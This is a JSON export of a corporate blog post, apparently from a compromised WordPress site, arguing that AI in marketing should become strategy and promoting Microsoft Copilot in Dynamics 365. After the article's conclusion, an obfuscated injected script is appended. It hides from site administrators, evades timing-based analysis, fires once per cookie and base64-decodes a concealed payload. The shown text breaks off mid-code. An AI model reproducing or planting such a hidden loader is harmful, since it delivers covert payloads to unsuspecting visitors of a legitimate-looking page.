{"id":22823,"date":"2026-08-25T17:04:14","date_gmt":"2026-08-25T15:04:14","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/ai-in-marketing-from-gimmick-to-strategy\/"},"modified":"2026-08-25T17:04:14","modified_gmt":"2026-08-25T15:04:14","slug":"ai-in-marketing-from-gimmick-to-strategy","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-in-marketing-from-gimmick-to-strategy\/","title":{"rendered":"AI in marketing \u2013 from gimmick to strategy"},"content":{"rendered":"<p class=\"\" data-start=\"227\" data-end=\"538\">For a long time, AI in marketing was one thing above all: fascinating, but difficult to grasp. Many companies experimented with chatbots, automated text generators or predictive analysis models \u2013 often detached from everyday life, without a clear direction and usually under the label &#8220;innovation&#8221;. <\/p>\n<p class=\"\" data-start=\"540\" data-end=\"809\">But this phase is over. AI has come of age \u2013 and with it the demands on marketing managers. The question is no longer <em data-start=\"684\" data-end=\"713\">&#8220;Should we use AI?&#8221;,<\/em> but <em data-start=\"723\" data-end=\"809\">&#8220;How do we integrate AI into our marketing processes in a strategic and profitable way?&#8221;<\/em>  <\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-in-marketing-from-gimmick-to-strategy\/#From_initial_tests_to_real_value_creation\" >From initial tests to real value creation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-in-marketing-from-gimmick-to-strategy\/#Why_AI_in_marketing_needs_to_be_thought_of_strategically_now\" >Why AI in marketing needs to be thought of strategically now<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-in-marketing-from-gimmick-to-strategy\/#What_does_a_strategy_for_AI_in_marketing_look_like_in_concrete_terms\" >What does a strategy for AI in marketing look like in concrete terms?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-in-marketing-from-gimmick-to-strategy\/#Microsoft_Copilot_Dynamics_365_The_direct_path_to_productive_AI\" >Microsoft Copilot &#038; Dynamics 365: The direct path to productive AI<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-in-marketing-from-gimmick-to-strategy\/#Conclusion_AI_in_marketing_is_not_a_project_AI_is_an_attitude\" >Conclusion: AI in marketing is not a project. AI is an attitude.<\/a><\/li><\/ul><\/nav><\/div>\n<h3 class=\"\" data-start=\"816\" data-end=\"863\"><span class=\"ez-toc-section\" id=\"From_initial_tests_to_real_value_creation\"><\/span>From initial tests to real value creation<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"865\" data-end=\"942\">Many marketing departments have already collected points of contact with AI:<\/p>\n<ul data-start=\"943\" data-end=\"1137\">\n<li class=\"\" data-start=\"943\" data-end=\"1008\">\n<p class=\"\" data-start=\"945\" data-end=\"1008\">A chatbot on the website that answers simple questions.<\/p>\n<\/li>\n<li class=\"\" data-start=\"1009\" data-end=\"1071\">\n<p class=\"\" data-start=\"1011\" data-end=\"1071\">Automatically generated product descriptions or emails.<\/p>\n<\/li>\n<li class=\"\" data-start=\"1072\" data-end=\"1137\">\n<p class=\"\" data-start=\"1074\" data-end=\"1137\">A dashboard that analyzes and segments visitor flows.<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"1139\" data-end=\"1419\">Such use cases are valuable \u2013 no question. But often it remains a single project. The tools deliver results, but they are not embedded in an overarching strategy. They work in silos, with no connection to CRM data, customer journeys, or sales goals.   <\/p>\n<p class=\"\" data-start=\"1421\" data-end=\"1592\">As a result, the hoped-for gain in efficiency fails to materialize, the added value is limited to individual actions, and the marketing team is faced with the question: <em data-start=\"1563\" data-end=\"1592\">What do we do with it now?<\/em><\/p>\n<h3 class=\"\" data-start=\"1599\" data-end=\"1651\"><span class=\"ez-toc-section\" id=\"Why_AI_in_marketing_needs_to_be_thought_of_strategically_now\"><\/span>Why AI in marketing needs to be thought of strategically now<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"1653\" data-end=\"1792\">The change from AI experiment to strategic initiative is not a &#8220;nice to have&#8221;, but a necessity \u2013 for three central reasons:<\/p>\n<ol data-start=\"1794\" data-end=\"2628\">\n<li class=\"\" data-start=\"1794\" data-end=\"2096\">\n<p class=\"\" data-start=\"1797\" data-end=\"2096\"><strong data-start=\"1797\" data-end=\"1830\">The maturity of the technology<\/strong><br data-start=\"1830\" data-end=\"1833\"\/>Generative AI models such as GPT-4, <a href=\"https:\/\/copilot.microsoft.com\/\">Copilot<\/a> or Azure OpenAI are now mature, scalable and can be integrated securely. They can be seamlessly linked to existing Microsoft solutions such as Dynamics 365 \u2013 without complicated interfaces, without isolated solutions. <\/p>\n<\/li>\n<li class=\"\" data-start=\"2098\" data-end=\"2353\">\n<p class=\"\" data-start=\"2101\" data-end=\"2353\"><strong data-start=\"2101\" data-end=\"2134\">The increasing pressure of expectations<\/strong><br data-start=\"2134\" data-end=\"2137\"\/>Today&#8217;s customers expect personalized content, real-time responses, and seamless experiences across all channels. Those who do not meet these expectations lose attention \u2013 and ultimately market share. <\/p>\n<\/li>\n<li class=\"\" data-start=\"2355\" data-end=\"2628\">\n<p class=\"\" data-start=\"2358\" data-end=\"2628\"><strong data-start=\"2358\" data-end=\"2387\">Increasing cost pressure<\/strong><br data-start=\"2387\" data-end=\"2390\"\/>With AI, resources can be used more efficiently \u2013 by automating repetitive tasks, data-driven decisions and better measuring the success of campaigns. In times of tight budgets, this is a decisive lever. <\/p>\n<\/li>\n<\/ol>\n<p><img decoding=\"async\" class=\"alignnone wp-image-17098 size-us_600_400\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/05\/AdobeStock_687900362-600x400.jpeg\" alt=\"AI in marketing\" width=\"600\" height=\"400\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/05\/AdobeStock_687900362-600x400.jpeg 600w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/05\/AdobeStock_687900362-300x200.jpeg 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/05\/AdobeStock_687900362-1024x683.jpeg 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/05\/AdobeStock_687900362-90x60.jpeg 90w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/05\/AdobeStock_687900362-272x181.jpeg 272w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/05\/AdobeStock_687900362-105x70.jpeg 105w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/05\/AdobeStock_687900362.jpeg 1920w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/p>\n<h3 class=\"\" data-start=\"2635\" data-end=\"2692\"><span class=\"ez-toc-section\" id=\"What_does_a_strategy_for_AI_in_marketing_look_like_in_concrete_terms\"><\/span>What does a strategy for AI in marketing look like in concrete terms?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"2694\" data-end=\"2816\">If you want to use AI strategically, you need a structured approach. The following steps have proven themselves in practice: <\/p>\n<h4 class=\"\" data-start=\"2818\" data-end=\"2865\">1. <strong data-start=\"2826\" data-end=\"2865\">Define goals \u2013 measurably<\/strong><\/h4>\n<p class=\"\" data-start=\"2866\" data-end=\"3098\">Want to generate more qualified leads? Reduce the processing time for requests? Or personalize content more efficiently? Clear KPIs help to make the success of AI use measurable \u2013 and to argue internally.   <\/p>\n<h4 class=\"\" data-start=\"3100\" data-end=\"3146\">2. <strong data-start=\"3108\" data-end=\"3146\">Identify relevant use cases<\/strong><\/h4>\n<p class=\"\" data-start=\"3147\" data-end=\"3263\">Not every task needs AI right away. Start with areas where AI brings tangible value in the short term: <\/p>\n<ul data-start=\"3264\" data-end=\"3543\">\n<li class=\"\" data-start=\"3264\" data-end=\"3316\">\n<p class=\"\" data-start=\"3266\" data-end=\"3316\">Lead scoring based on historical conversions<\/p>\n<\/li>\n<li class=\"\" data-start=\"3317\" data-end=\"3368\">\n<p class=\"\" data-start=\"3319\" data-end=\"3368\">Automated content creation for campaigns<\/p>\n<\/li>\n<li class=\"\" data-start=\"3369\" data-end=\"3418\">\n<p class=\"\" data-start=\"3371\" data-end=\"3418\">Dynamic segmentation and personalization<\/p>\n<\/li>\n<li class=\"\" data-start=\"3419\" data-end=\"3472\">\n<p class=\"\" data-start=\"3421\" data-end=\"3472\">Predict churn or purchase probability<\/p>\n<\/li>\n<li class=\"\" data-start=\"3473\" data-end=\"3543\">\n<p class=\"\" data-start=\"3475\" data-end=\"3543\">Automated evaluation of feedback (e.g. surveys, reviews)<\/p>\n<\/li>\n<\/ul>\n<h4 class=\"\" data-start=\"3545\" data-end=\"3586\">3. <strong data-start=\"3553\" data-end=\"3586\">Understand data as a basis<\/strong><\/h4>\n<p class=\"\" data-start=\"3587\" data-end=\"3829\">AI is only as good as the data on which it is based. A clean data structure in CRM \u2013 e.g. in <strong data-start=\"3688\" data-end=\"3722\">Dynamics 365 Customer Insights<\/strong> \u2013 is essential. This is the only way AI can recognize patterns in a targeted manner, derive recommendations and act in a targeted manner. <\/p>\n<h4 class=\"\" data-start=\"3831\" data-end=\"3876\">4. <strong data-start=\"3839\" data-end=\"3876\">Choose technology intelligently<\/strong><\/h4>\n<p class=\"\" data-start=\"3877\" data-end=\"4100\">Avoid tool proliferation. Rely on integrated platforms such as Dynamics 365 or Microsoft Copilot, which bundle data, processes and AI in one solution \u2013 instead of many individual solutions with manual interfaces. <\/p>\n<h4 class=\"\" data-start=\"4102\" data-end=\"4143\">5. <strong data-start=\"4110\" data-end=\"4143\">Accompany change in the team<\/strong><\/h4>\n<p class=\"\" data-start=\"4144\" data-end=\"4415\">AI is changing ways of working. Creatives, analysts and campaign managers need new skills \u2013 e.g. in prompting, data interpretation or quality review of AI-generated content. Training, sharing, and transparent communication are key.<\/p>\n<h3 class=\"\" data-start=\"4422\" data-end=\"4496\"><span class=\"ez-toc-section\" id=\"Microsoft_Copilot_Dynamics_365_The_direct_path_to_productive_AI\"><\/span>Microsoft Copilot &#038; Dynamics 365: The direct path to productive AI<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"4498\" data-end=\"4747\">A concrete entry point: <strong data-start=\"4528\" data-end=\"4565\"><a href=\"https:\/\/www.inkubit.com\/en\/solutions\/microsoft-copilot\/\">Microsoft Copilot<\/a> in Dynamics 365<\/strong>. This solution brings generative AI directly into the day-to-day work of marketing and sales \u2013 GDPR-compliant, trained on your company data, embedded in familiar processes. <\/p>\n<p class=\"\" data-start=\"4749\" data-end=\"4759\">Examples:<\/p>\n<ul data-start=\"4760\" data-end=\"5087\">\n<li class=\"\" data-start=\"4760\" data-end=\"4845\">\n<p class=\"\" data-start=\"4762\" data-end=\"4845\">Copilot suggests personalized subject lines based on user behavior.<\/p>\n<\/li>\n<li class=\"\" data-start=\"4846\" data-end=\"4926\">\n<p class=\"\" data-start=\"4848\" data-end=\"4926\">It automatically creates email campaigns based on previous interactions.<\/p>\n<\/li>\n<li class=\"\" data-start=\"4927\" data-end=\"5002\">\n<p class=\"\" data-start=\"4929\" data-end=\"5002\">He analyzes which leads are most likely to lead to a close.<\/p>\n<\/li>\n<li class=\"\" data-start=\"5003\" data-end=\"5087\">\n<p class=\"\" data-start=\"5005\" data-end=\"5087\">It prioritizes tasks based on CRM data, opportunities, and engagement.<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"5089\" data-end=\"5158\">This not only saves time \u2013 it has been proven to improve results.<\/p>\n<h3 class=\"\" data-start=\"5165\" data-end=\"5217\"><span class=\"ez-toc-section\" id=\"Conclusion_AI_in_marketing_is_not_a_project_AI_is_an_attitude\"><\/span>Conclusion: AI in marketing is not a project. AI is an attitude. <span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"5219\" data-end=\"5494\">AI in marketing is not a one-time innovation \u2013 it&#8217;s a continuous evolution of your marketing strategy. It&#8217;s not about tools, it&#8217;s about how to make better decisions, act faster, and communicate in a more relevant way. <\/p>\n<p class=\"\" data-start=\"5496\" data-end=\"5661\">Artificial intelligence does not replace a team \u2013 but it does make teams more powerful. And it creates space: for creative work, for data-based decisions, for sustainable growth. <\/p>\n<p class=\"\" data-start=\"5663\" data-end=\"5802\"><strong data-start=\"5663\" data-end=\"5802\">Those who understand AI as a strategic tool \u2013 and not as a technical gimmick \u2013 secure a decisive advantage in the market.<\/strong><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment 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